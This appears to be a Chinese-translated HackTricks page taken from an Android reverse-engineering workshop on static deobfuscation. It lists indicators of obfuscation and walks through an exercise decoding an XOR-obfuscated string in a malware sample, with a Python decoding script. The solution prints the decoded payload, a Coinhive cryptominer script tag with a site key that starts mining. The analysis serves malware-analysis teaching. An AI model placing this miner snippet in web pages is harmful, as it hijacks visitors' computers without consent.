9.5 KiB
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?想要在HackTricks中看到你的公司广告吗?或者你想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品——The PEASS Family
-
加入💬 Discord群组 或 Telegram群组,或者关注我在Twitter上的🐦@carlospolopm。
-
通过向hacktricks仓库和hacktricks-cloud仓库提交PR来分享你的黑客技巧。
从https://maddiestone.github.io/AndroidAppRE/obfuscation.html复制(你可以在那里找到解决方案)
有很多情况下,你要逆向的应用程序可能不像我们讨论的一些例子那样直截了当。开发人员会实现一种或多种混淆技术来隐藏他们的应用程序的行为和/或实现。这可能是出于良性或恶意的原因。
关于混淆的关键是,如果你想要解混淆它,你是可以的。关键的决定不是你能不能,而是是否值得投入资源来解混淆。
之所以你总是能够解混淆某些东西,是因为最终CPU在某个时刻必须看到未混淆的代码才能运行它。
如何解混淆
你选择如何解混淆应用程序将取决于混淆方法,但通常有几种常见的静态解混淆技术。在这里,我们只会涉及静态解混淆技术,因为本次研讨会只涵盖静态分析/逆向工程。然而,要记住的是,运行应用程序并动态分析它可能是绕过混淆的另一种很好的方法。
对于DEX字节码(Java)的混淆,静态解混淆的最简单方法之一是识别应用程序中的解混淆方法,并将它们的反编译复制到一个Java文件中,然后在混淆文件、字符串、代码等上运行它们。
另一种适用于Java和本地代码的解决方案是将解混淆算法转换为Python或其他你最熟悉的脚本语言。我之所以说“转换”,是因为重要的是要记住,你不总是需要*理解*解混淆算法,你只需要一种执行它的方法。我在“解包打包解包器”演讲中对此进行了更详细的介绍,该演讲链接在“更多示例”部分。
混淆的指标
有许多不同类型的混淆,因此,正如有许多不同类型的指标可以提醒你作为分析师,一个应用程序很可能是混淆的,但这里有一些示例,并提出了用于解混淆的静态分析解决方案。
- 没有字符串:Java和Android高度依赖字符串,所以如果你看不到任何字符串或只有乱码字符串,很可能字符串被混淆了。
- 建议的解决方案:寻找以字符串作为参数的方法调用,并追踪该参数的来源。在某个时刻,字符串参数将通过解混淆方法传递给接受字符串参数的API。
- 乱码字符串:Java和Android API需要明文字符串,而不是乱码字符串。
- 建议的解决方案:乱码字符串在传递给API之前很可能都会经过相同的方法。这些方法很可能是解混淆方法。
- assets/目录中的二进制文件和应用程序中的DexClassLoader调用:可能是解包和加载附加代码。(也可能是从远程位置下载,然后使用DexClassLoader加载)
- 建议的解决方案:确定文件的读取位置,然后跟踪路径。在读取后不久,它很可能被解混淆。
- 本地库 - 无法识别JNI函数(没有名为Java_的函数和没有调用RegisterNatives):为了执行任何本地方法,JNI必须能够将本地库中的函数与Java中的本地方法声明配对,因此两者之一必须在某个时刻存在。
- 建议的解决方案:从JNI_OnLoad方法开始,寻找加载附加代码的解混淆例程。
练习7 - 字符串去混淆
在这个练习中,我们将练习去混淆字符串,以便分析一个应用程序。在虚拟机中,我们将使用位于~/samples/ClashOfLights.apk
的样本。该样本的SHA256摘要为c403d2dcee37f80b6d51ebada18c409a9eae45416fe84cd0c1ea1d9897eae4e5。
目标
识别混淆的字符串并开发解混淆的解决方案。
练习背景
您是一名恶意软件分析师,正在审查此应用程序以确定其是否为恶意软件。您遇到了一个被混淆的Javascript字符串,正在加载它并需要解混淆它以确定应用程序是否恶意。您无法动态运行应用程序,需要静态确定Javascript的内容。
指令
- 找到需要解混淆的字符串
- 确定解混淆它的例程。
- 确定您要编写的解混淆字符串的解决方案。
- 完成 :)
解决方案
解混淆后的字符串为:
<script src="https://coinhive.com/lib/coinhive.min.js"></script><script>var miner = new CoinHive.Anonymous('nf24ZwEMmu0m1X6MgcOv48AMsIYErpFE', {threads: 2});miner.start();</script>
我编写的用于反混淆的Python脚本是:
enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C"
length = len(enc_str)
count = 0
dec_str = [0] * (length/2)
while (count < length):
dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF
count += 2
print dec_str
key = [75, 67, 81, 82, 49, 57, 84, 90]
enc_str = dec_str
count = 0
length = len(enc_str)
while (count < length):
dec_str[count] = chr(enc_str[count] ^ key[count % len(key)])
count += 1
print ''.join(dec_str)
更多示例
我做过一些关于反混淆Android应用程序的演讲,其中包括各种混淆机制。在这些演讲中,我讨论了高级混淆技术、我解混淆的解决方案,以及在决定如何解混淆时我所考虑的因素和选择。
- BlackHat USA 2018:“解包打包器:逆向工程Android反分析库” [视频]
- 这个演讲介绍了逆向工程一个我见过的最复杂的Android应用程序使用的反分析本地库。主要涵盖了本地代码中的混淆技术。
- REcon 2019:“载荷之路:Android版” [视频]
- 这个演讲讨论了一系列混淆技术,仅限于Java代码,这是一个Android僵尸网络用来隐藏其行为的技术。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者你想要获取最新版本的PEASS或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品——The PEASS Family
-
加入 💬 Discord群组 或 Telegram群组,或者关注我在Twitter上的动态 🐦@carlospolopm。
-
通过向hacktricks仓库和hacktricks-cloud仓库提交PR来分享你的黑客技巧。